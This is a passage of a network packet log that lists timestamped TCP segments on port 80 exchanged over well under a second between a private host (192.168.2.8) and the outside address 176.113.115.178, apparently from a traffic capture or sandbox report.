Dec 18, 2024 14:07:44.636954069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.636967897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.637000084 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.637011051 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.637022972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.637053967 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.637917042 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.637928963 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.637969971 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.638566017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.638580084 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.638627052 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.639353037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.639404058 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.639653921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.640242100 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.640290022 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.640538931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.640994072 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.641046047 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.732816935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.732842922 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.732954979 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.733184099 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.733201027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.733262062 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.734379053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.734390974 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.734435081 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.735419989 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.735436916 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.735493898 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.735625029 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.735640049 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.735701084 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.736432076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.736449957 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.736490965 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.737466097 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.737556934 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.737603903 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.738652945 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.738678932 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.738737106 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.739249945 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.739264011 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.739300013 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.740061998 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.740077019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.740124941 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.740784883 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.740798950 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.740854979 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.741622925 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.741919994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.741975069 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.742475033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.742660046 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.742710114 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.743129969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.784559965 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.800627947 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.800668955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.800733089 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.800934076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.801342010 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.801389933 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.801788092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.801799059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.802109957 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.802587032 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.803004026 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.803019047 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.803041935 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.803936005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.803947926 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.803976059 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.804663897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.804708004 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.804836035 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.804908037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.804945946 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.805604935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.805712938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.805752993 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.806576967 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.806591034 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.806644917 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.807285070 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.807521105 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.807565928 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.808144093 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.808192015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.808238029 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.808901072 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.809061050 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.809103012 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.809765100 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.810012102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.810054064 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.810571909 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.810698032 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.810803890 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.811533928 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.811604023 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.811650038 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.812226057 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.812407017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.812449932 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.813160896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.813199043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.813246965 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.814043999 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.814059019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.814091921 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.814641953 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.814800978 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.814882040 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.815606117 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.815628052 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.815677881 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.816332102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.816389084 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.816441059 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.817136049 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.817233086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.817280054 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.818170071 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.818183899 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.818226099 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.818802118 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.818979979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.819022894 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.819597006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.819705963 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.819746017 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.820635080 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.820647001 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.820688009 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.821491957 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.821506023 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.821557045 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.822429895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.822442055 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.822479963 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.823067904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.823360920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.823412895 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.824601889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.824615002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.824625969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.824654102 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.824677944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.824716091 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.825427055 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.825500965 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.825542927 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.826265097 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.826339960 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.826385021 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.827056885 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.827363968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.827409983 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.828041077 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.828052998 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.828094959 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.828712940 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.828779936 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.828825951 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.829801083 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.829812050 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.829854965 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.830308914 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.830399036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.830445051 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.831160069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.831298113 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.831337929 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.831984043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.832134008 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.832180023 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.833200932 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.878325939 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.924660921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.924747944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.924932957 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.925128937 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.925143957 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.925228119 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.926100016 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.926112890 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.926153898 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.926644087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.926826954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.926928043 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.927611113 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.927624941 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.927680016 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.928277969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.928414106 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.928498030 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.929272890 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.929285049 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.929337978 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.930032015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.930116892 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.930161953 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.930772066 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.930912018 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.930958033 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.931601048 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.931772947 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.931824923 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.932513952 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.932615042 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.932656050 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.933284998 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.933384895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.933594942 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.934055090 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.934175968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.934226990 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.934900045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.987715006 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.992424011 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.992544889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.992623091 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.992821932 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.992993116 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.993040085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.993156910 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.993782997 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.993829012 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.993835926 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.994561911 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.995053053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.995105982 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.995204926 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.995565891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.995614052 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.995774031 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.995819092 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.996180058 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.996357918 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.996407032 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.996998072 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.997082949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.997131109 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.997438908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.997658014 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.997708082 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.998476028 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.998486996 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.998532057 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.999078035 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.999217987 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.999953985 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.999968052 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.000046015 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.000832081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.000845909 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.000889063 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.001663923 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.001684904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.001734018 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.002439022 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.002516031 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.003304958 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.003324032 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.003354073 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.003376961 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.004298925 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.004312038 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.004367113 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.005517006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.005532026 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.005605936 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.006323099 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.006335974 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.006391048 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.006855965 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.006870031 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.006912947 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.007364988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.007774115 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.008397102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.008409977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.008450031 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.008462906 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.009219885 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.009233952 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.009282112 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.009864092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.009924889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.009970903 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.010706902 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.010948896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.011544943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.011593103 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.011596918 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.012295961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.012345076 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.012418985 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.012465954 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.013154030 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.013278008 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.013329029 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.013999939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.014300108 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.014352083 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.014837027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.014849901 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.014889002 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.015629053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.015686989 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.015736103 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.016413927 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.016614914 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.016671896 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.017229080 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.017338037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.017395020 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.018044949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.018299103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.018347979 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.018922091 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.018937111 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.018970966 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.020044088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.020107985 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.020153999 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.020689964 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.020716906 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.020760059 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.021357059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.021470070 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.022244930 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.022285938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:45.022308111 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:45.023003101 CET	80	49707	176.113.115.178	192.168.2.8
